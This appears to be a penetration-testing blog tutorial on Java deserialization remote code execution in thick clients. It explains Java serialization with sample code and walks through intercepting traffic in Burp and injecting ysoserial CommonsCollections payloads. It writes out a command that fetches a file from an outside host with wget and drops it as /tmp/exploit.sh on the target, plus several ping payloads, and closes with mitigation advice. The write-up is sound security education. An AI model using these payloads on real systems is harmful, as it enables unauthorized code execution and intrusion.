Thick Client Penetration Testing – 3 covering the Java Deserialization Exploit Resulting Remote Code Execution
Welcome Readers, in the previous two blogs, we have learnt about the various test cases as well as setting up traffic for thick clients using interception proxy. Among the plethora of test cases out here, one particularly interesting is about “Remote Code Execution on thick clients”. Which we will see about JavaDeserialization.
For this particular RCE, among one of the thick clients I was testing, it was based on Java Application.
While researching possible exploits, I noticed that there are custom deserialization methods in Apache commons-collections which has a particular “reflection logic”. This can be particularly exploited which can lead to remote command injection as well as lethal arbitrary code execution.
All applications which are java based and perform serialization/ deserialization with untrusted data to deserialize having “commons-collections” in its classpath can be exploited to run arbitrary code!
For starters, let’s cover a few concepts before we dive into the exploit.
Note: Here we are directly creating serialized exploit as well as injecting the same directly. For analysing the traffic in a clear format, I shall cover the same in next part.
What is serialization in Java?
Serialization in java is a mechanism of writing the state of an object into a byte stream. It is majorly used in Hibernate, RMI, JPA, EJB and JMS technologies.
Exactly the reverse of serialization becomes deserialization.
Why Java Serialization is needed?
This helps to transit the object’s state on the network aka marshaling.
Image src: https://www.javatpoint.com/serialization-in-java
java.io.Serializable interface
Serializable is a marker interface (sans data member and method).
It is used to “mark” java classes so that objects of these classes may get certain capabilities.
Let’s take a code snippet and analyze the concept
import java.io.Serializable;
public class Student implements Serializable{
int id;
String name;
public Student(int id, String name) {
this.id = id;
this.name = name;
}
}
In the above example, Student class implements Serializable interface. Now its objects can be converted into stream.
ObjectOutputStream class
ObjectOutputStream class writes primitive data types and Java objects to an OutputStream. Only objects that support the java.io.Serializable interface can be written to streams.
Example of Java Serialization
In this example, we are going to serialize the object of Persist class. The writeObject() method of ObjectOutputStream class provides the functionality to serialize the object. We are saving the state of the object in the file named f.txt.
import java.io.*;
class Persist{
public static void main(String args[])throws Exception{
Student s1 =new Student(211,”ravi”);
FileOutputStream fout=new FileOutputStream(“f.txt”);
ObjectOutputStream out=new ObjectOutputStream(fout);
out.writeObject(s1);
out.flush();
System.out.println(“success”);
}
}
Once we are done serializing the above, the output will be something like this:
Output ( Success) : ¬í sr StudentJìšñ#²Uw I idL namet Ljava/lang/String;xp Ót ravi
Deserialization in java
Deserialization is the reverse process of reconstructing the object from the serialized state. It is the reverse operation of serialization.
The code snippet for the same is :
import java.io.*;
class Depersist{
public static void main(String args[])throws Exception{
ObjectInputStream in=new ObjectInputStream(new FileInputStream(“f.txt”));
Student s=(Student)in.readObject();
System.out.println(s.id+” “+s.name);
in.close();
}
}
Output(211,”Ravi”): ¬í sr StudentJìšñ#²Uw I idL namet Ljava/lang/String;xp Ót ravi
If you want to learn more, please take a look here as reference : https://www.javatpoint.com/serialization-in-java
So now having the basics of how serialization and de serialization works, let’s head to the exploit!
Step 1: Intercept the thick client which are testing (java based) using burp.
Here we have a serialized object going through the burp request.
Step 2: At this point, we can extend the content length, to insert a malicious exploit. Hence:
You can optionally leave out the same, since the content length may get expanded based on the large edited request. However during my testing I have seen sometimes, it needs to be manually increased.
Step 3: Generating serialized exploit:
There are multiple tools by which we can create a serialized exploit. The one I am using here is Chris Frohoff’s ysoserial ( https://github.com/frohoff/ysoserial )
Running the jar file with the payload type and command to execute will generate the serialized object for you.
There are currently six CommonCollections ( from CommonCollections1 to CommonCollections6).
Please note for different servers different exploits among the six CommonCollections will work based on the actual vulnerable deserializing class available on the server. You have to perform a hit-n-trial approach to see which exploit works for you.
The exploit I created is:
java -jar ysoserial.jar CommonsCollections3 “wget http://disposablewebpage.com/up/10b14792076539622.png -O /tmp/exploit.sh”
For crafting payload: java -jar ysoserial-[version]-all.jar [payload type] ‘[command to execute]’.
The above exploit as explained later on will use wget to remotely fetch the contents from the url and create a “exploit” shell file to be dropped on the victim server.
Alternatively you can make the command as: java -jar ysoserial.jar CommonsCollections3 “ping 127.0.0.1”
This will perform a remote command injection to ping the local host and give the results.
Different commoncollection payloads can be created such as:
java -jar ysoserial.jar CommonsCollections1 “ping 127.0.0.1”
java -jar ysoserial.jar CommonsCollections2 “ping 127.0.0.1”
java -jar ysoserial.jar CommonsCollections3 “ping 127.0.0.1”
java -jar ysoserial.jar CommonsCollections4 “ping 127.0.0.1”
java -jar ysoserial.jar CommonsCollections5 “ping 127.0.0.1”
java -jar ysoserial.jar CommonsCollections6 “ping 127.0.0.1”
I generally keep exploits ready by tinkering with the switches to create a file or perform a command injection.
You can play around for more options depends on you. Make sure to pipe the output to a file for later reference. Such as : java -jar ysoserial.jar CommonsCollections1 “ping 127.0.0.1” > output1.txt
A nice reference for more exploits/ technqiues can be found here : https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet
Note, I have redirected the output to a text file for using the exploit.
Step 4: Let’s check the exploit created:
Step 5: If you notice our exploit.sh is created which is a remote shell file which will be dropped to the remote server where the java application is hosted.
Step 6: Now simply we need to replace the original request with this particular payload like this:
Replace with paste from file:
Choose the exploit.txt
Now It will look like this:
Once done, forward the request and analyse the response. If the response shows “instantiate Transformer” like this:
Then your exploit is successful!
Now on the server and you can see something like this:
How to mitigate the issue on server side?
- Prevent Deserialization of Domain Objects
- Harden the java.io.ObjectInputStream
- Harden All java.io.ObjectInputStream Usage with an Agent
- Delete InvokerTransformer.class file. If your application does not utilize it (not foolproof but an easier approach)
Note: This article has also been published in Polish Magazine Hakin9
(https://hakin9.org/product/reverse-engineering-and-password-breaking/)
More Reference:
- https://www.owasp.org/index.php/Deserialization_Cheat_Sheet
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#thefix